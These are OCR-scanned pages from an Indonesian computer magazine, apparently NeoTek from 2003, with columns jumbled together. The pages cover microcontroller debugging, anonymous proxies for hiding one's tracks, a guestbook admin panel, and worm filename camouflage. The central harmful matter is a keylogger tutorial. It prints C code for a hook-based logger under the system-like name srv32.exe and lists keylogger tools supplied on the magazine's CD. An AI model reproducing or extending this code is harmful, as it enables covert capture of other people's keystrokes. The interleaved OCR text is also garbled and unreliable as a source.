dan dibahas di NeoTek III/6 Maret/April 2003), atau KXICS Bila software di-MultiStep-kan, akan terlihat software me-
(untuk MCU KX2 atau KX8) atau Cyclone dan MultiLink. nunggu (berputar) di loop Top dan dua baris selanjutnya
Sebagai Info: sampai tombol di target (simple I/O) yang berhubungan de-
Debugger + MCU KX8 = Rp 150.000,-
ngan POD ditekan. Logika tombol di target di kirim POD
hanya untuk KX series, mode target. ke komputer dan diperlakukan seperti aslinya.
Mini-Evm = Rp 500.000,- Waktu yang diperlukan delay loop kira-kira sama dengan
Multi MCU, power cycling, mode di Simulator. Stop lalu gunakan Breakpoint dilanjutkan de-
target dan MON08+.
ngan Go untuk mempersingkat waktu. Selesai delay
KXICS dari motorola = USD 295 (dulu
USD 364) debounce, LED dinyalakan dan masuk ke delay 1 detik.
Hanya untuk KX series, mode target OffLp (off Loop) merupakan singkatan dari loop menung-
dan MON08.
gu tombol di lepas atau off. OffLp memastikan tombol
Dari pemicro: dilepas setelah ditekan. Apabila belum dilepas maka soft-
Cyclone = 399 USD ware akan menunggu di loop ini. Hal ini untuk mencegah
Power cycling, Multi MCU, MON08,
Stand Alone dan MultiLink = USD 168
tekan tombol 1 kali tapi hasilnya nyala LED 1 detik yang
Power cycling, Multi MCU, MON08. Mini EVM berulang kali (test pakai ICD agar real time).
Breakpoint di ICS sama dengan di Simulator. Baik jumlah I/O (13 pin pada KX8). Konsekuensinya: setelah init yang
yang cukup banyak dan disebut software breakpoint karena mengatur I/O kedua pin tsb menjadi output (pantangan
menggunakan mekanisme software saja. Selain itu Go di untuk komunikasi), tak ada jaminan lagi komunikasi akan
sini juga tidak RealTime. Command breakpoint BREAKA, tetap lancar. Kegagalan Komunikasi ditampilkan dengan
BREAKHX, BREAKSP juga bisa dilakukan di ICS. Dengan dialog box Communication Error.
ICS, efek setiap instruksi lebih real karena ada I/O-nya. Praktek dengan In-Circuit Debugger
In-Circuit Debugger Hubungkan PC dengan POD (yang dibahas di sini Mini-EVM)
berikut Simple I/O circuit sebagai target.
Untuk ICD dengan pemakaian Flash, lakukan dulu prose-
dur programming (lihat artikel NeoTekno di NeoTek III/1
Oktober 2002). Setelah selesai programming, tekan tombol
Kedua Software di atas menggunakan CPU Komputer untuk In-Circuit Debugger. Security bytesnya pilih FF-FF-FF-FF-
mensimulasi kerja MCU. Karena perbedaan kecepatan kedua FF-FF-FF-FF atau kosong karena security bytes diambil
processor ini, maka terjadi perbedaan waktu antara simulasi dari address vector Interrupt Timer CH 0, CMIREQ, IRQ1,
dengan kenyataan (bila software Simple I O dijalankan lang- SWI dan simple I/O belum menggunakan Vector tersebut.
sung oleh MCU). Misalnya, dalam software LED diharapkan Semua Register statusnya jelas karena tidak ada yang disi-
menyala 1 detik, tapi di Simulator (hanya berupa perubahan mulasi.
nilai 1 bit) dan di ICS, LED menyala tidak 1 detik. Kondisi
ini disebut tidak RealTime. Akibatnya setelah selesai Simu- Tampilan ICD berbeda dengan Sim dan ICS. Ada 2 Code
lasi atau ICS, perlu disetel lagi timing-nya. window yang awalnya kelihatan sama. Tapi akan berbeda
setelah dilakukan Load S19 File dari menu File (sebenarnya
ICD bekerja dengan MCU tanpa disimulasi. Mendekati me- yang di load adalah Map Filenya), maka Code Window 2
tode Emulasi (ICE) tapi karena konsep berbeda dan punya akan menampilkan Source Code seperti di Sim dan ICS.
kelemahan dibandingkan ICE, maka disebut ICD. Dikenda- Yang berperan di sini adalah Map file. Cobalah mengubah
likan dengan command Step, Multiple Step, Go. Pada wak- nama Map file atau extensionnya. Maka source code tidak
tu MCU diperintahkan GO (dengan atau tanpa setting akan tampil di Code window 2 bahkan di Sim dan ICS.
breakpoint), MCU bekerja dengan komponen dan kecepat-
an aslinya (RealTime). Pastikan software yang sudah terprogram di MCU sama
dengan nama S19 (sebenarnya map file) yang di-load ulang.
Seperti ICS, ICD juga memerlukan POD. POD untuk ICD Kesalahan di sini akan mengakibatkan Bad MAP file atau
sama dengan POD ICS di atas. Penggunaan ICS cocok un- stepping yang aneh.
tuk pengajaran cara kerja MCU seperti melihat efek pelak-
sanaan instruksi MCU pada register atau I/O. Sedangkan Source Level Debugging ini sangat memudahkan untuk
kalau sudah pada praktek pembuatan dan pengujian soft- GoTil atau pemasangan Breakpoint. Di masa lalu, penulis
ware sebaiknya gunakan ICD karena mampu realtime. menggunakan Macintosh (walaupun ada interface PC-nya
tapi tidak cukup menarik karena sering bermasalah) dengan
ICD bisa dilakukan dengan dua cara: mode terminal ke EVM05 (ICE) tidak mendapatkan fasili-
1. Dengan software diprogram ke Flash. Mengurangi endurance tas ini dan harus membaca file listing (.lst) untuk menda-
(jumlah tulis-hapus) Flash ROM MCU. Tak perlu terlalu diri- patkan address dari lokasi yang akan dipasangi breakpoint.
saukan karena jaminan Motorola minimum adalah 10 ribu kali.
MCU lain spesifikasinya seribu kali tapi mungkin karena konsep Selanjutnya Anda bisa tekan tombol Step atau Multiple
yang mengikutkan faktor external, maka sering terjadi cuma Step bahkan Go. Untuk menghentikan, tekan Stop. Tombol
bertahan sekitar 100 kali bahkan kurang. Sangat mendekati hasil Reset akan mengembalikan ke posisi awal (start) tapi harus
akhir karena addressnya sama (waktu debug dan hasil akhirnya). diingat Data di RAM tetap bertahan. Perhatikan nilai pada
2. Dengan Load program ke RAM. Karena hanya menggunakan lokasi $40 di dalam Memory Window 1 yang mendapat
RAM, maka endurance Flash ROM tidak terganggu. Berman- label Temp1 (yang akan terbaca waktu mouse pointer ber-
faat bila ingin mendapatkan RealTime tapi ingin menghemat ada di address itu) sebelum dan sesudah menekan Reset.
resource (dalam hal ini Endurance Flash ROM MCU). Sayang- Apabila perlu kondisi yang pasti waktu start, sebaiknya
nya kapasitas RAM yang kurang besar (KX8 192 byte, GP32 lakukan pembersihan RAM (init RAM dengan angka 0
512 byte termasuk stack) mengakibatkan Software yang di-
test tidak bisa besar. Kondisi ini cocok untuk praktek di lab misalnya) seperti di DemoMEVM.asm.
kampus atau lab sekolah atau programmer MCU yang sedang Perhatikan bahwa:
menguji subroutine-nya. Metode ini akan dibahas di bagian
akhir. Address Program harus diubah ke RAM. Waktu diberikan perintah Go, maka MCU akan jalan dengan kece-
patan asli dan tidak akan menghiraukan PC sampai terjadi break-
ICD mempunyai kelemahan dalam hal: point. Penekanan tombol Stop atau Reset (fisik) akan ditawari (Fungsi)
1. Perlu 1 pin untuk external oscillator in. Tapi ada juga MCU yang Reset MCU ke kondisi awal (biasanya reset dihindari dalam debug
bisa internal atau low freq Osc (32.768 kHz di GP dan GR series). agar status terakhir bisa dianalisa).
Pada KX8 kebetulan pin ini bisa untuk fungsi I/O. dengan de- Bila lebih dari sekian detik MCU tidak komunikasi dengan PC maka
mikian waktu ICD pin ini harus direlakan untuk External OSC. PC akan melaporkan Communication error dengan pilihan Reset
Selesai proses debug, bisa saja pin ini dipakai, tapi bagian soft- (power Cycling POD), Halt (Stop ICD) dan Ping. Ping hanya ber-
ware itu terpaksa dibuat tanpa ICD. Biasanya tidak terlalu guna bila telah terjadi Communication Error karena terlalu lama
merepotkan karena sudah sebagian besar software selesai. tidak komunikasi tapi setelah sekian waktu, terjadi breakpoint
2. Communication line untuk ke PC. Pin ini digunakan MCU (dan MCU siap ngobrol lagi dengan PC).
untuk komunikasi dengan PC. Misalnya anda pasang breakpoint yang akan di akses bila tombol
Kedua pin ini (terutama pada KX8) bisa dialihkan ke target ditekan. Setelah anda Go, tombol tidak ditekan sampai Com Error.
seakan-akan MCU dipindahkan ke Target dengan saklar Setelah itu anda tekan Tombol. Cobalah tekan Ping. PC akan ber-
komunikasi lagi dengan MCU.
toggle ke posisi USER. Saklar ini mengalihkan hubungan
fisiknya. Sedangkan untuk softwarenya harus dilakukan Pada Development Tool yang lebih mahal (ICE), ICE bisa
dengan mengubah bagian yang berhubungan dengan kedua kapan saja di break dengan tombol (Abort pada EVM05).
pin ini. Software DemoMevm dibuat untuk demo saklar Ini memaksa MCU di ICE berhubungan kembali dengan
ini yang bisa menampilkan penggunaan semua Universal PC. Tapi kedua metode ini berbeda sekali pendekatannya.
Silakan Coba dengan tombol Step. Lalu Multiple Step. Se- lokasi Program dari Flash ROM (address $F600) ke RAM
perti di ICS, software akan menunggu di loop Top dan 2 (di contoh $45). Assemble file Simple I O 2@RAM.asm
baris di belakangnya. Tekan tombol di target sampai instruk- untuk dapatkan file S19-nya.
si lda PortA terlaksana. Software akan mengalir ke delay Hapus Flash dengan programmer. Jalankan ICD dan guna-
Debounce. Delay ini lebih lama dari pada di Simulator dan kan security FF-FF-FF-FF-FF-FF-FF-FF karena Flash kosong.
ICS karena setiap instruksi di perintahkan PC ke MCU un- Setelah masuk, load file Simple I O 2@RAM.s19 hasil
tuk menjalankannya dan kemudian MCU melapor ke PC. assembling dari file Simple I O 2@RAM.asm. Karena Reset
Bagian selanjutnya tak beda dengan hal ini. Tekan tombol Stop. Vector tidak diprogram ke Flash MCU, ICD tidak menam-
Hanya tombol Go pada ICD yang RealTime. Step dan pilkan source code dengan baik. Atur Program counter ke
Multi Step untuk menganalisa step by step setelah terjadi address awal dari software yaitu $45 dengan double click
breakpoint. Sekarang tekan tombol Go (jangan memasang CPU register PC dan ganti nilainya dengan angka 45. Seke-
Breakpoint), Delay loop benar-benar terlaksana dalam wak- tika Source file tampil.
tu sekitar 50 mS asalkan frekuensi Kristalnya 10 MHz. De- Jalankan Go tanpa breakpoint. Tekan tombol di target, ha-
bugger dirancang dengan 10 MHz, sedangkan Mini-EVM silnya akan sama seperti MCU yang Flashnya terisi Simple
dirancang dengan 9.8304 MHz. Jadi Delay di Mini-EVM I O 2.S19. Anda sudah dapatkan kemampuan RealTime
akan sedikit lebih lama dibanding Debugger. Tekan tombol yang hemat endurance karena jalan di RAM.
di target, LED akan menyala sekitar 1 detik baik dengan
tombol tetap ditekan atau langsung dilepas. Lepas tombol, Step, Multi Step, Go dengan atau tanpa breakpoint tetap bisa
tekan lagi. LED menyala 1 detik lagi. Kalau sudah demikian dijalankan. Tapi harus diingat Konsekuensinya: File S19 ha-
berarti semua dalam keadaan baik. rus di-load ulang bila terjadi reset (power cycling) karena
data di RAM hilang bila power mati. Kadang-kala perlu di-
Tekan tombol Stop atau Reset. Setelah Go tanpa breakpoint lakukan load file S19 ulang pada waktu step atau Go yang
tadi, MCU tidak pernah berkomunikasi dengan PC. Terja- belum sempurna seperti ada kesalahan Jump atau lainnya
dilah Com Error. Software tetap jalan secara RealTime. Jadi sewaktu development.
dari sisi software semua itu adalah kondisi normal. Hanya
saja PC tidak bisa menghubungi MCU lagi tanpa melaku- Ada dua Kompromi yang menarik di sini:
kan Reset (tombol Stop akan menawarkan Reset juga). 1. Reset Vector (termasuk Flash) di program dengan program
Ping tidak berguna disini. byte pada address FFFe = 00 dan FFFF = 45 agar ICD bisa
langsung menampilkan Source Code setelah load file .S19.
Pasang Breakpoint di baris OpCode BCLR 4,PORTA ; Turn Address-nya sebaiknya diperkirakan setelah address RAM
LED back off. Tekan Go dan tunggu. Tidak akan terjadi Break- yang digunakan. Pada Simple I O 2@RAM.asm digunakan
point karena software menunggu di loop Top. Tekan tombol di $45 yang menyisakan 5 byte RAM untuk scratch pad ($$40 yg
target, Led segera menyala. Setelah 1 detik, baru terjadi break- sudah dipakai sebagai Temp1 dan $41 sampai $44 yang belum
point. Di sinilah unsur RealTime Debug-nya yang artinya MCU dipakai). Tentukan berapa byte RAM yang akan dipakai di
jalan dengan RealTime sementara softwarenya sambil dipasangi Software. Seringkali 8 byte sudah mencukupi dan gunakan
breakpoint dan akan terjadi breakpoint bila adrress breakpoint $48 sebagai origin program anda di RAM.
diakses oleh MCU. Software bisa dibuat langsung sesuai timing 2. Apabila ada vector lain yang dipakai seperti timer, maka vector
aslinya (1 detik nyala), sedangkan kalau memanfaatkan In-Cir- tersebut juga bisa diprogram. Pilihlah address yang akan dipakai
cuit Simulator (Simulator tidak punya I/O, lebih parah lagi), seperti untuk vector reset. RAM KX8 sebesar 192 byte
termasuk untuk Stack memang agak merepotkan memilih
timing tersebut harus diubah agar tidak terlalu lama menunggu address. Untuk MCU yang RAMnya lebih banyak seperti
dan perlu diatur lagi setelah pada tahap finishing. Realtime debug GP32 yang punya 512 byte, stack-nya bisa digeser ke lokasi
sangat perlu bila misalnya anda membuat software yang bisa lain yang ujungnya di $23F:
membedakan lama penekanan tombol. Penulis pernah mem- LDHX #$240 ; $0240 > H:X
buat routine yang bisa membedakan fungsi penekanan tombol TXS ; $023F > SP
< 1 detik, 1 detik < 5 detik, dan 5 detik lebih. Dengan catatan, instruksi TXS mengurangi address dengan 1.
Breakpoint di ICD hanya 1 buah dan dilakukan secara fisik
(Hardware Breakpoint). Ada register (Break Register) di Ringkasan
MCU yang di-compare secara fisik dengan Program Counter. Simulator:
Bila sama, timbullah interrupt yang menyelesaikan urusan Semua Fungsi di simulasi oleh PC.
breakpoint tersebut. Address lokasi yang dipasangi break- + Cukup dengan PC bisa belajar cara kerja MCU.
– Tidak punya I/O sehingga tidak bisa interaksi dengan dunia luar
point di copy ke Break Register. MCU.
Sekarang kita buktikan efek penghilangan loop untuk me- – Tidak RealTime.
nunggu Tombol dilepas. In-Circuit Simulator:
Fungsi MCU di simulasi PC, I/O dari Pod. MCU di POD sebagai kurir
Pasang simbol remark di awal baris OpCode sehingga men- bolak balik dari POD ke PC.
jadi * OFFLP BRCLR 3,PORTA,OFFLP ; till sw off atau + Punya I/O via POD.
+ Tidak menghabiskan Endurance (umur tulis hapus) Flash ROM
Hapus baris tersebut untuk mencoba efeknya. Perubahan MCU.
ini dilakukan di file Assembly dalam Text editor Win IDE. – Perlu hardware (disebut POD misal MiniEVM).
Simpanlah dengan nama berbeda dari Simple I O 2.asm – Tidak RealTime.
(misal testonly.asm) agar tidak merusak file asli. Assemble In-Circuit Debugger:
file tersebut. Lalu hapus program di Flash ROM MCU dan Tidak ada yang disimulasi. Semua menggunakan MCU. MCU
program dengan file S19 hasil Assembling tadi. Tutup Pro- dikendalikan oleh PC waktu Step, Multi Step. Waktu Go, MCU bekerja
Full Speed sampai terjadi Breakpoint atau Reset.
grammer. Jalankan ICD. Beri perintah Go tanpa Breakpoint. + No Offset Address. Debug & Final @ same address.
Tekan tombol di target. Maka LED akan menyala 1 detik, + MCU tidak disimulasi, Cuma di-monitor dan dikendalikan.
padam lalu menyala lagi dan seterusnya sejauh tombol + RealTime (limited)
tersebut belum dilepas. + Hemat Endurance Flash jika Code di RAM (load)
– Boros Endurance Flash jika Code Di Flash (prog) Minimum
Menghemat Endurance Endurance 10k.
– Perlu hardware (disebut POD misal MiniEVM).
Untuk menghemat endurance Flash ROM, alternatifnya ada- – Ada I/O yang tidak bisa dipakai @ mode monitor (realtime limited)
lah penggunaan RAM untuk menguji software. Pindahkan – Beberapa limitation pada mode monitor.
P ROX Y: B E R K I P R AH D I I NTE R N ET
Tanpa Diketahui Orang
Mengapa kita harus menyembunyikan IP kita. Sebenarnya, walaupun bukan hacker atau cracker,
anonimitas sewaktu berinternet membuat kita lebih aman dari serangan cracker ataupun iklan yang
menjengkelkan. M.A. Rody Candera (odyxb@melva.org) membahasnya untuk anda.
PAKAH PERNAH KETIKA ANDA
A mengunjungi suatu situs, dan
situs tersebut menampilkan
alamat IP (Internet Protocol) koneksi
internet anda? Contohnya situs
http://www.k-elektronik.org atau
situs http://www.kamus.web.id. De-
ngan menggunakan script yang yang
terpasang pada situs tersebut, alamat
IP kita makin jelas diketahui. Bagi
pengguna biasa internet hal itu tidak
dipusingkan, tetapi bagi para hacker
apalagi cracker dan carder, hal itu ada-
lah masalah besar.
Bagaimana cara mengatasi hal terse- Atau anda dapat mencarinya dengan
but? Atau bagaimana teknik untuk tempat mendaftarkan akses internet). memanfaatkan search engine Google
menutup alamat IP maupun infor- dengan menggunakan keyword:
masi yang menyangkut akses koneksi Sekarang anda kunjungi situs kelom- proxy anonymous list
internet, agar tidak diketahui? pok hacker indonesia Kecoa-Elektronik
http://www.k-elektronik.org).
(h
Jawabannya adalah dengan menggu-
nakan anonymous proxy. Anonymous Situs k-elektronik, memperlihatkan
proxy adalah salah satu teknik untuk informasi IP dari akses koneksi inter-
menyembunyikan informasi atas ke- net yaitu 216.136.171.252. Mungkin
beradaan Internet Protocol sebenar- ini tidak terlalu menimbulkan masa-
nya (hhttp://olt.on.ca/proxy.html). Ini lah, tetapi informasi lainnya yang me-
adalah salah satu cara atau teknik yang nyangkut akses koneksi internet yang
digunakan oleh mereka yang menga- mungkin cukup bermasalah seperti
ku hacker maupun cracker untuk me- pada contoh yaitu
nutupi jejaknya di internet ketika se- 1.0 metronet-cache0:3128 (Squid/
dang melakukan pekerjaan hacking 2.4.STABLE6), 1.0 mdn-cache0.nusa.net.id:
maupun cracking. 3128 (squid/2.5.STABLE1)
Dengan menggunakan proxy maka
posisi sebenarnya seseorang yang
melakukan koneksi ke Internet tidak
dapat diidentifikasi. Pada umumnya,
orang mengidentifikasi keberadaan
seseorang yang mengakses internet
melalui alamat IP yang digunakan.
Bila Tidak Menggunakan Proxy
Tanpa perlu menjadi hacker maupun Mencari Anonymous Proxy
cracker, anda pun dapat melakukan Hal yang dideskripsikan di atas adalah Memasang Proxy pada Komputer
hal itu. Penulis telah mencobanya. contoh jika tidak menggunakan proxy. Setelah anda mendapatkan proxy yang
Mari sekarang anda coba langkah- Bagaimana jika menggunakan proxy? dibutuhkan, selanjutnya adalah meng-
langkah yang akan dipaparkan untuk Pertama-tama anda harus mendapat- gunakan proxy tersebut. Pada browser
membuktikan hal tersebut. kan dulu proxy server yang hendak anda, pilih menu dari toolbar:
Kunjungi http://www.kamus.web.id, digunakan. Berbagai macam proxy Tool > Internet Options
dan perhatikan bagian bawah page situs server dapat anda peroleh dari Akan muncul menu window Internet
tersebut. Pada gambar terlihat, situs http://www.proxymatrix.com/page1.html Options ( ja-
Kamus Online memberitahukan bahwa atau dari ngan sem-
alamat IP koneksi internet kita adalah http://www2.multiproxy.org/anon_list.html barang me-
202.162.199.253 (sebenarnya itu IP lakukan per-
Proxy yang dibutuhkan adalah proxy
dari ISP (internet Service provicer) anonymous. ubahan jika
tidak ingin terjadi sesuatu hal yang mem- Pada alamat situs tersebut, anda perha-
buat anda akan mengalami kesulitan), pa- tikan catatan-catatan yang muncul per-
da posisi ini yang perlu anda lakukan ada- tama kalinya anda lihat pada browser.
lah: pilih Connections > LAN Settings Pada situs pertama yang ditampilkan
adalah IP dari ISP tempat anda men-
daftar, sedangkan pada situs kedua
malah langsung menampilkan IP ko-
neksi internet anda sendiri.
K EYLOG G E R V. 2.0
Modifikasi srv32.exe dan srv32.dll
Melanjutkan pembahasan membuat keylogger sendiri, Dewanata (m_strdewanata@yahoo.com)
melakukan penyempurnaan dengan menambahkan dua fungsi pada program keylogger srv32.exe
dan srv32.dll yang telah dibahas sebelumnya.
ADA EDISI TERDAHULU (NEOTEK III/8, MEI/JUN 2003), Hal ini tentunya dapat menyebabkan hal-hal yang tidak
P telah dijelaskan langkah-langkah dasar untuk me-
ngembangkan satu program kecil yang berkemam-
diinginkan. Untuk itu, sedikit modifikasi perlu dilakukan
di kode program utama (ssrv32.cpp) pada fungsi WinMain().
puan untuk 'menangkap' setiap ketikan di keyboard dan Modifikasi dilakukan dengan menambahkan sebuah objek
menuliskannya ke sebuah file teks yang didefinisikan oleh mutex, yang dinamakan srv32_mutex_id. Untuk sekedar
user. Jenis program ini dikenal dengan nama keylogger. informasi, objek mutex (mutually exclusive coordinator)
Pada edisi ini, akan dibahas versi lanjutan program ter- adalah objek yang sering dipakai di aplikasi yang membu-
sebut dengan menambahkan dua fungsi tambahan yaitu: tuhkan kemampuan multi-threading, dan bertanggung
1. Mencegah program dimuat ke memori lebih dari satu jawab atas proses signaling ketika sinkronisasi.
kali. Objek mutex ini akan dibuat ketika program pertama kali
2. Menampilkan informasi mengenai program yang aktif dieksekusi. Jika ternyata program yang sama dieksekusi
pada saat pengetikkan. kembali, maka penciptaan objek ini akan gagal, dan kega-
galan ini akan terdeteksi oleh program kita dengan meme-
Mencegah Program Dimuat Lebih dari Satu Kali riksa hasil pemanggilan fungsi GetLastError(). Untuk
Jalankan program keylogger kita tiga kali dengan menge- lebih jelasnya silahkan membaca potongan kode di Gambar 3.
tikkan srv32.exe di lingkungan console seperti yang int APIENTRY WinMain(HINSTANCE hInstance,
ditampilkan di Gambar 1 di bawah ini. HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow) {
HANDLE hMutexOfSrv32 = CreateMutex( NULL, FALSE, TEXT("srv32_mutex_id"));
DWORD error_code=GetLastError();
if(error_code==ERROR_ALREADY_EXISTS||
error_code==ERROR_ACCESS_DENIED){
return FALSE;
}
Gambar 1. Menjalankan program keylogger sebanyak tiga kali.
HWND hwnd;
MSG msg;
Maka akan ada tiga instan dari program tersebut yang WNDCLASSEX wcl;
aktif di memori, seperti dapat dilihat menggunakan
Windows Task Manager, di Gambar 2. wcl.cbSize = sizeof(WNDCLASSEX);
wcl.hInstance = hInstance;
wcl.lpszClassName = szWinName;
wcl.lpfnWndProc = WindowFunc;
Gambar 3. Modifikasi kode
Yang perlu diingat, fungsi CBT ini harus didefinisikan di Buka Excel, Word, Notepad, dan Internet Explorer. Laku-
bagian interseptor program kita. kan aktifitas keyboard pada masing-masing aplikasi.
Seperti telah dijelaskan di edisi sebelumnya, program Setelah dirasakan cukup, buka demo.txt.
keylogger ini terbagi atas dua bagian: Di bawah ini adalah contoh dari output program.
• bagian inisialisasi, srv32.cpp, setelah dikompilasi akan
menjadi srv32.exe
• bagian interseptor, srv32d.c, setelah dikompilasi akan
menjadi srv32d.dll
Karena fungsi ini ada di bagian DLL program kita sedang-
kan proses penulisan ada di bagian EXE, sehingga seperti
pada versi sebelumnya perlu dideklarasikan satu variable
yang berfungsi sebagai Windows Message identifier,
sebagai berikut:
#define UWM_CBTCAPTURED 5001
Kemudian tambahkan fungsi ini di srv32d.c.
LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam)
{
Koleksi Keylogger CD NeoTek III/12
if(code==HCBT_ACTIVATE)
{
Sebagai pelengkap pembelajaran anda mengenai key-
PostMessage(hwnd,5001,wParam,lParam); logger, dalam CD NeoTek kali ini disediakan juga bebe-
} rapa keylogger yang dapat diperoleh di Internet, di
return CallNextHookEx(hhookMsg, code, wParam, lParam);
} antaranya:
Gambar 4. Fungsi CBTProc()
• Easy Macro v. 2.01
• Invisible Key Logger 97
Beralih ke srv32.cpp, tambahkan definisi • Keycopy v. 1.01
UWM_CBTCAPTURED seperti yang telah kita lakukan • Keylog Windows v. 1.5
sebelumnya di srv32d.c. Tambahkan fungsi yang terlampir • KeyLog!2 v.2.0
di Gambar 5. • KeyLog! v. 2.5
LRESULT OnCBTCaptured(WPARAM wParam, LPARAM lParam){ • KeyLogger for 95
• KeyLog for Windows
char szClassname[CLASSNAMELENGTH];
GetClassName((HWND)wParam, szClassname, CLASSNAMELENGTH);
• DOS Keylogger
• KeyTrap v. 1.0
stream=fopen(m_szFilename,"a+"); • KeyTrap v. 2.0
long len = lstrlen(szClassname);
char c = '<'; • KeyTrap v. 3.0
fwrite(&c,1,1,stream); • Log
fwrite(&szClassname,len,1,stream);
c = '>';
• PAL KeyLog Pro
fwrite(&c,1,1,stream); • Playback! v. 1.9c
fclose(stream); • Phantom 2
return 0;
} Koleksi Keylogger
CD NeoTek III/11
Gambar 5. Kode OnCBTCaptured()
Di CD NeoTek III/11
Beberapa deklarasi variable-bantu (auxiliary variables) (Agustus/September 2003)
tidak ditampilkan disini untuk simplifikasi. Agar lebih terdapat PAL PC Spy yang
jelas, silakan mempelajari kode sumber yang dilampirkan pada dasarnya adalah suatu
dalam CD NeoTek edisi ini. keylogger ditambah fungsi-
fungsi lain.
Demikian, anda telah berhasil menambahkan fungsi un-
tuk mencatat nama program atau library yang sedang Koleksi Keylogger
aktif ketika proses pengetikkan terjadi. CD NeoTek III/5
Yang perlu diperhatikan, nama ini belum tentu akan sama NeoTek III/5 (Februari/Maret
dengan nama komersialnya. 2003) membahas PC Acme Net
Misal pada saat user menjalankan (suatu ketlogger) dan cara
mengatasinya dengan Anti-
• Excel, maka yang tercatat adalah <XLMAIN>. Keylogger 2.2. keduanya
• Internet Explorer akan dicatat sebagai <IEFrame> tersedia pada CD NeoTek edisi
• Word sebagai <OpusApp>. yang bersangkutan.
Produk Akhir
Lakukan kompilasi kedua file sumber kita yaitu srv32.cpp
dan srv32d.c.
Setelah proses kompilasi selesai, letakkan srv32.exe dan
srv32d.dll di satu folder, lalu jalankan
srv32.exe c:\demo.txt.
Fasilitas Untuk Admin • Edit Body hari dan bulan dalam halaman Edit
Fasilitas ini terdapat di halaman Admin Menu digunakan untuk mengedit war- Teks Tanggal ini dengan bahasa yang
Area (aadmConfigGb.asp). Karena hanya na body, scroll-bar, dan huruf. anda sukai.
admin saja yang berhak memasuki ha- • Edit/Tambah Bahasa Selain fasilitas-fasilitas yang sudah
laman ini, maka anda diharuskan login saya sebutkan di atas dalam Guest
terlebih dahulu. Anda dapat melihat Default bahasa yang digunakan dalam Book ini pun disediakan fasilitas lain,
tampilan halaman admin pada Gambar 2. Guest Book ini adalah bahasa Indonesia. misalnya dapat diketahui jenis browser
Jika admin menginginkan untuk meng- yang dipakai pengunjung, sistem ope-
Berikut ini adalah penjelasan masing- gantinya dengan bahasa lain bisa dila-
masing menu dalam halaman Admin rasi yang digunakan, jumlah user
kukan dengan cara mengedit bahasa online, dll.
Area. yang sudah ada atau dengan cara me-
• Edit Logo dan URL nambah koleksi bahasa baru. Demikianlah Guest Book sederhana ini
saya haturkan kepada anda, terutama
Menu ini terdapat di halaman Admin • Edit Record yang pemula seperti saya. Guest Book
Area. Menu ini dapat digunakan untuk Jumlah huruf atau karakter komentar ini masih banyak kekurangan. Untuk
mengedit Logo dan URL situs utama yang dimasukkan pengunjung dapat itu saya mohon maaf jika ada kekeli-
anda. Type Logo bisa berupa gambar dibatasi dengan memilih menu Edit ruan.
(image) atau Text. Posisi logo dapat di- Record dalam halaman admin. Dalam
tentukan di kiri atau di tengah. halaman Edit Record jumlah maksimal Kritik dan saran saya tunggu di
record yang ditampilkan per halaman iniemailwawan@telkom.net
• Edit UserName dan Password
pun dapat diubah. Defaultnya adalah 5
Menu ini digunakan jika pemilik Guest record per halaman.
Book bermaksud untuk mengubah
UserName dan Password sebagai admin • Edit Kata Pengantar
dalam Guest Book ini. Sebaiknya me- Kata Pengantar adalah kalimat pembuka
mang jika anda pertama kali menggu- Guest Book yang terdapat di halaman
nakan Guest Book ini agar segera meng- utama. Kata Pengantar ini dapat diedit
ganti UserName dan Password-nya halaman Edit Kata Pengantar.
untuk keamanan.
• Edit Ucapan Terima Kasih
• Edit Header Bila seorang pengunjung selesai men-
Header adalah bagian paling atas dalam catat komentarnya ia akan mendapat-
GuestBook. Anda dapat mengubah tam- kan ucapan terima kasih di halaman GuestRoom.zip yang terdapat dalam CD
pilan header dalam menu ini. Bagian- Pesan.asp. Ucapan terima kasih ini da- NeoTek memuat Guest Book v. 1.0 karya
bagian yang dapat diubah dalam header pat diedit oleh admin di halaman Edit Wawan Ridwan yang dapat langsung anda
adalah Teks Title (tag <TITLE>), Teks Ucapan Terima Kasih. pasang pada situs web anda. Bila di-unzip akan
Header, Background header, dll. menghasilkan beberapa file dan folder seperti
• Edit Panel Menu tampak pada gambar di bawah ini.
• Edit Footer Panel Menu adalah daftar menu yang
Footer adalah bagian yang paling bawah masing-masing berisi link untuk mela-
pada situs web. Perubahan yang bisa di- kukan aksi terhadap sebuah pesan.
lakukan pada footer ini antara lain: Teks Gambar 3 menunjukkan contoh panel
footer, posisi teks (kiri, kanan, atau tengah), menu. Admin dapat mengedit tampil-
ukuran huruf, dll an panel menu, baik background-nya
• Edit Profile maupun ukuran dan jenis hurufnya.
Dengan menu ini admin dapat meng- • Edit Style
ubah profilenya. Menu Edit Style digunakan untuk
• Edit Rujukan mengedit tampilan komponen-kompo-
nen form seperti TEXT, TEXTAREA,
Rujukan adalah daftar jawaban yang BUTTON, OPTION, dll.
disediakan atas pertanyaan: "Tahu
situs ini dari ?" Dalam halam Edit • Edit Tabel
Rujukan admin bisa mengedit daftar Warna-warna tag table dalam Guest
jawaban tersebut. Book ini dapat anda ubah sesuai de-
• Tolak IP Addres ngan keinginan anda. Ada 5 tabel yang
dapat anda ubah. Warna yang dapat
Adakalanya ada pengunjung iseng yang diubah latar belakang warna dan war-
suka memberi komentar yang tidak na hurufnya.
senonoh. Jika dikehendaki admin bisa
menolak pengunjung tersebut dengan • Edit Teks Tanggal
mendaftarkan IP Address-nya di Guest Teks Tanggal adalah nama hari dan
Book. Jika IP pengunjung tersebut ter- bulan yang digunakan dalam Guest
daftar di database maka ia tidak diijin- Book ini, seperti untuk menunjukkan
kan untuk mencatat komentar. tanggal 16/08/2003 maka akan ditam-
pilkan menjadi Sabtu 16 Agustus 2003.
Anda dapat mengubah nama-nama
Gambar 3. Panel Admin.
STU D I K AS U S K AM U F L AS E WO R M
Mengapa Worm Berekstensi Ganda
Apakah anda pernah memperhatikan bahwa worm yang beredar sekarang mempunyai ekstensi
ganda? Happy Chandraleka (Cakrabirawa@mail.ru) membahas mengenai hal ini untuk anda,
lengkap dengan simulasi mengkamuflase file anda sendiri.
ERMASALAHAN KAMUFLASE BUKANLAH PERKARA MASA Untuk Ekstensi_2 dipilih salah satu dari dua pilihan ini:
P kini saja. Sejak zaman Yunani masalah kamuflase
telah dikenal dan dimanfaatkan. Yaitu ketika terjadi
.pif
.scr
perang antara Yunani dan Troy. Meski dikepung selama 10 Misalnya secara acak worm BadTrans memberikan nama
